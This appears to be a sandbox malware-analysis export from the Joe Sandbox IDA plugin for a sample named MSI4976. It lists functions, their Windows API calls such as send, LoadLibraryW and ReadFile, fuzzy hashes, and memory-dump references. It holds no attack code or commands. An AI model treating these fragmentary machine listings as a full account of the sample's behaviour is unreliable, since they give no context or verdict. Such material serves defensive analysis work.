Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: __getptd_noexit$___lock_fhandle__close_nolock
String ID:
API String ID: 1046115767-0
Opcode ID: a567a58d57c3f8f5bc0fc224f848b41c6c13cc4e0dae405db6e8e6144638e2d1
Instruction ID: b622337bd3c871cda8a30229a2c2534ee9602ee058c1df5fa10c04feef78fae6
Opcode Fuzzy Hash: a567a58d57c3f8f5bc0fc224f848b41c6c13cc4e0dae405db6e8e6144638e2d1
Instruction Fuzzy Hash: 87118272C05A548ED7137FA4D88235D7AD49F41331F5A0360E4706F1E3DBB4B9418AA1

Function 003234F3 Relevance: 3.0, APIs: 2, Instructions: 49COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00000104,?,?), ref: 0032352A

Part of subcall function 00327E53: _memmove.LIBCMT ref: 00327EB9

_wcscat.LIBCMT ref: 003966C0

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: FullNamePath_memmove_wcscat
String ID:
API String ID: 257928180-0
Opcode ID: 34ce661aeeabdde6e0189a092bbde9d06d537bd5e4ea56d4563d72261f240793
Instruction ID: a5f18f6302e623030e425bec44bfb18a5b105cba8e1740602f98088437b0a59a
Opcode Fuzzy Hash: 34ce661aeeabdde6e0189a092bbde9d06d537bd5e4ea56d4563d72261f240793
Instruction Fuzzy Hash: 7801D63594412C9BCF03FBA1E8459DD73F9EF14348F1142A5B519DB1D0EA30DB858BA1

Function 00379500 Relevance: 3.0, APIs: 2, Instructions: 46networkCOMMON

Download Yara Rule

APIs

send.WS2_32(00000000,?,00000000,00000000), ref: 00379534
WSAGetLastError.WS2_32(00000000,?,00000000,00000000), ref: 00379557

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: ErrorLastsend
String ID:
API String ID: 1802528911-0
Opcode ID: c73b3d6d7d24c5cda49354bf14c6ffefc0229ae7b15b04fc878ebec215a13193
Instruction ID: eac0a3feec61bf90e945d64b8d0de844c83fbe60083e2ca54979ccf2604f5210
Opcode Fuzzy Hash: c73b3d6d7d24c5cda49354bf14c6ffefc0229ae7b15b04fc878ebec215a13193
Instruction Fuzzy Hash: B6017C352002009FD715EF28D891B6AB7E9EB99720F10C12AE64ACB391CA71EC01CB90

Function 00344274 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0034889E: __getptd_noexit.LIBCMT ref: 0034889E

__lock_file.LIBCMT ref: 003442B9

Part of subcall function 00345A9F: __lock.LIBCMT ref: 00345AC2

__fclose_nolock.LIBCMT ref: 003442C4

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: 13605c21fb87c3bee69c1d2a3c6f6308898535d460a0d7733b5a299723143a1e
Instruction ID: 766f5eab3476edd4e2ccc0d594314735ec62eaff4fcf03c97db47aca5c319ff3
Opcode Fuzzy Hash: 13605c21fb87c3bee69c1d2a3c6f6308898535d460a0d7733b5a299723143a1e
Instruction Fuzzy Hash: 86F0B431C01B049BD713AF7588027AE6BD0AF40334F618A19F824AF1C2CBBCB9019F51

Function 0033F55E Relevance: 3.0, APIs: 2, Instructions: 29sleeptimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 0033F57A

Part of subcall function 0032E1F0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0032E279

Sleep.KERNEL32(00000000), ref: 003975D3

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: MessagePeekSleepTimetime
String ID:
API String ID: 1792118007-0
Opcode ID: 9c5844c22338b4b4d85b5ad043222265f0ee920a55dd8a07eebfd6b94a010315
Instruction ID: 48cc68b42e0ab39260ace3b8830c7a11b035dac2ccd4679f0fbc38551bcf6d25
Opcode Fuzzy Hash: 9c5844c22338b4b4d85b5ad043222265f0ee920a55dd8a07eebfd6b94a010315
Instruction Fuzzy Hash: 0CF08C712002249FD356EF69E405B9ABBE8AF5A320F00002AF81ACB651DB70B800CBD0

Function 003281C6 Relevance: 1.9, APIs: 1, Instructions: 438COMMON

Download Yara Rule

APIs

Part of subcall function 003284A6: __swprintf.LIBCMT ref: 003284E5
Part of subcall function 003284A6: __itow.LIBCMT ref: 00328519

__wcsnicmp.LIBCMT ref: 003283C4

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: __itow__swprintf__wcsnicmp
String ID:
API String ID: 712828618-0
Opcode ID: 4774ebe45454ccd5e61ca601947f7bc710b3c6367f6404d2ed68767689bd55da
Instruction ID: ac5e6d59eb6c504d38d33410e6edccca0c58dfb09e8381cf4c94b2b63b38044d
Opcode Fuzzy Hash: 4774ebe45454ccd5e61ca601947f7bc710b3c6367f6404d2ed68767689bd55da
Instruction Fuzzy Hash: 4FF17C75508312AFC706EF19D89186FBBE5FF98314F54891DF9859B222DB30EA05CB82

Function 00334040 Relevance: 1.7, APIs: 1, Instructions: 187COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ca599920e64f453315c057626f71e299ebb78824d6afaa63b8979ad9d3f7f0c
Instruction ID: 24c9b6a75bfdd0647a9f68585f5207dfec9109f6baf9fe334765e59228c1db1d
Opcode Fuzzy Hash: 9ca599920e64f453315c057626f71e299ebb78824d6afaa63b8979ad9d3f7f0c
Instruction Fuzzy Hash: FE61CFB5A046069FCB06DF64C8C1A7AF7E8FF19310F108269E9168B691E730FD91CB91

Function 0033EF0D Relevance: 1.7, APIs: 1, Instructions: 176COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dacab9b76aadc0bb8de758e35bfe58fcc1e70a9adc7a6c1960fd066bcf365582
Instruction ID: 618213dc94873bd5118b070f03fc20ff57ec2c2cfe3c7da2abadeb57d048f0af
Opcode Fuzzy Hash: dacab9b76aadc0bb8de758e35bfe58fcc1e70a9adc7a6c1960fd066bcf365582
Instruction Fuzzy Hash: 8D51A135700224AFCF06EF68D992EAD77AAAF49310F158169F9069F392DB30ED01DB50

Function 0032B6D0 Relevance: 1.6, APIs: 1, Instructions: 118COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0032B7C2

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 653a53b8435a0736043d6b22074b13ebbbade5d52c540747a625e5d2bf85aa42
Instruction ID: b33f8cabd20f88e283f01c3791cdc03a70133689827be67f3968da451d460f89
Opcode Fuzzy Hash: 653a53b8435a0736043d6b22074b13ebbbade5d52c540747a625e5d2bf85aa42
Instruction Fuzzy Hash: 5741BFB9200612CFC725DF19E491922F7F4FF88360715C42EE99A8BB61D730E851CB50

Function 00324EE9 Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(?,?,00000001,00000000,00000000,?,?,00000000), ref: 00324F8F

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 271674ce134e77719932b1d44ad55efc384180e434e30ea5b1e5cb76ee676c1a
Instruction ID: 8ba72831b245780e81c96f22b5019dd31ca5282c0977875d81b51f51ba05e657
Opcode Fuzzy Hash: 271674ce134e77719932b1d44ad55efc384180e434e30ea5b1e5cb76ee676c1a
Instruction Fuzzy Hash: AB315E31A00625BFCB09CF6CE684AADB7B5BF88310F158629E81997714D770BD90CB90

Function 0033F92C Relevance: 1.6, APIs: 1, Instructions: 94COMMON

Download Yara Rule

APIs

select.WS2_32 ref: 0033F9DB

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: select
String ID:
API String ID: 1274211008-0
Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction ID: e564a4544f8f5990036ce73e56b3c3f8b29db690ec04e370e3dba47496c3eb39
Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction Fuzzy Hash: F731E2B0A00106AFC70ADF58C4C0B69FBA6FB59310FA582A5E44ACB655DB30EDC1CB80

Function 0039AA5A Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 0039AA65

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 67e2c0190d46fa8b776088bd1824dbc87bc405b747986fd432c745e1a32c3d36
Instruction ID: 9fddcd79edd422d17fba20443c0e34b1e3145b3606e90260cd69e4029c8d3ffd
Opcode Fuzzy Hash: 67e2c0190d46fa8b776088bd1824dbc87bc405b747986fd432c745e1a32c3d36
Instruction Fuzzy Hash: 93415D74504651CFDB2ACF18C494B1ABBE1BF45308F19856CE9964B762C331F885CF52

Function 00324D67 Relevance: 1.6, APIs: 1, Instructions: 71COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00324DAD

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 47012782a030ad8779f94faa8e2b2c96d7a630cd2f65ef253b2984702ea6a323
Instruction ID: 78a54783d401eb884a19ab5f508c54080a28dd6d634b4aade02a0e7973c12f5c
Opcode Fuzzy Hash: 47012782a030ad8779f94faa8e2b2c96d7a630cd2f65ef253b2984702ea6a323
Instruction Fuzzy Hash: EB21E470A00608EBCF169F91FC81A6A7BFDFB56340F21856EE496D9011EB3095D1C755

Function 0032D805 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0032D837

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 850a3e34ffcf0575de9322bf5b98585c373294fd89485bbbcd9ce223ec0d444b
Instruction ID: 00aecfe1920d0a2d3ceb1effffc1634a672fda63520db865bb11216d5926afc9
Opcode Fuzzy Hash: 850a3e34ffcf0575de9322bf5b98585c373294fd89485bbbcd9ce223ec0d444b
Instruction Fuzzy Hash: E1114976600601DFD725DF28E581916B7E9FF48320B20882EE98ACB661E732E841CB50

Function 00323F9B Relevance: 1.6, APIs: 1, Instructions: 63libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00323F5D: FreeLibrary.KERNEL32(00000000,?), ref: 00323F90

Part of subcall function 00344129: __wfsopen.LIBCMT ref: 00344134

LoadLibraryExW.KERNEL32(00000001,00000000,00000002,?,?,?,?,003234E2,?,00000001), ref: 00323FCD

Part of subcall function 00323E78: FreeLibrary.KERNEL32(00000000), ref: 00323EAB

Part of subcall function 00324010: _memmove.LIBCMT ref: 0032405A

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Library$Free$Load__wfsopen_memmove
String ID:
API String ID: 1396898556-0
Opcode ID: 8f0ce1a05a114bda05ae50830160cc0f0015589df0fe2f95fca31c2559c5c4ea
Instruction ID: 2026cc2a165bc4157e614d6943dfccc9b5b923192ef648d6108dc66e1b18f8ca
Opcode Fuzzy Hash: 8f0ce1a05a114bda05ae50830160cc0f0015589df0fe2f95fca31c2559c5c4ea
Instruction Fuzzy Hash: 8411A332610225BACF12AF74FC03FAD76A99F50740F108829F542EF1C1DB74AE459B51

Function 0039AB2A Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 0039AB36

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: ecd812daf36ae1d3603359d2342f30ef4fbb764cb95cfe52b566ed02b85d4a99
Instruction ID: 9bda6df19634523b229e6530dcb1fbbb55e266dae41a7ebce74d00d4b051dc1d
Opcode Fuzzy Hash: ecd812daf36ae1d3603359d2342f30ef4fbb764cb95cfe52b566ed02b85d4a99
Instruction Fuzzy Hash: 49213974508601CFDB2ADF64C494B1ABBE1BF89304F15496CEA964B632C731E845CF52

Function 003280EA Relevance: 1.6, APIs: 1, Instructions: 60COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0032814C

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 3e742b1ba0a0c987c836b15959b7f65b2bcde272eb65e0dd682e5ea94299c368
Instruction ID: af18919de84ae2fc8627a80a019dfcdc11d9d16a16c519fe34389ab4989245a7
Opcode Fuzzy Hash: 3e742b1ba0a0c987c836b15959b7f65b2bcde272eb65e0dd682e5ea94299c368
Instruction Fuzzy Hash: 38010C322066319FC711AF18E881D6BB39CEF44760B14422AF9558B2D1DF31BC218790

Function 003810E5 Relevance: 1.6, APIs: 1, Instructions: 57libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(?), ref: 00381100

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8dc8f9b2be8937dbebeb1422f62ac98712d3ff571eaedbd04077ce2e6face332
Instruction ID: 25c815e6eb8d1377c3278ee6f7eb3f0d69230c772ad4245f15dc47604ea5f5a2
Opcode Fuzzy Hash: 8dc8f9b2be8937dbebeb1422f62ac98712d3ff571eaedbd04077ce2e6face332
Instruction Fuzzy Hash: 6A119E363012159FDB12EF18C884ADAB7E9FF49720F0581AAFD4A8F355CB30AD418B91

Function 00324CA0 Relevance: 1.6, APIs: 1, Instructions: 51fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,00010000,?,00000000,?,00000000,00000000,?,00324E69,00000000,00010000,00000000,00000000,00000000,00000000), ref: 00324CF7

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

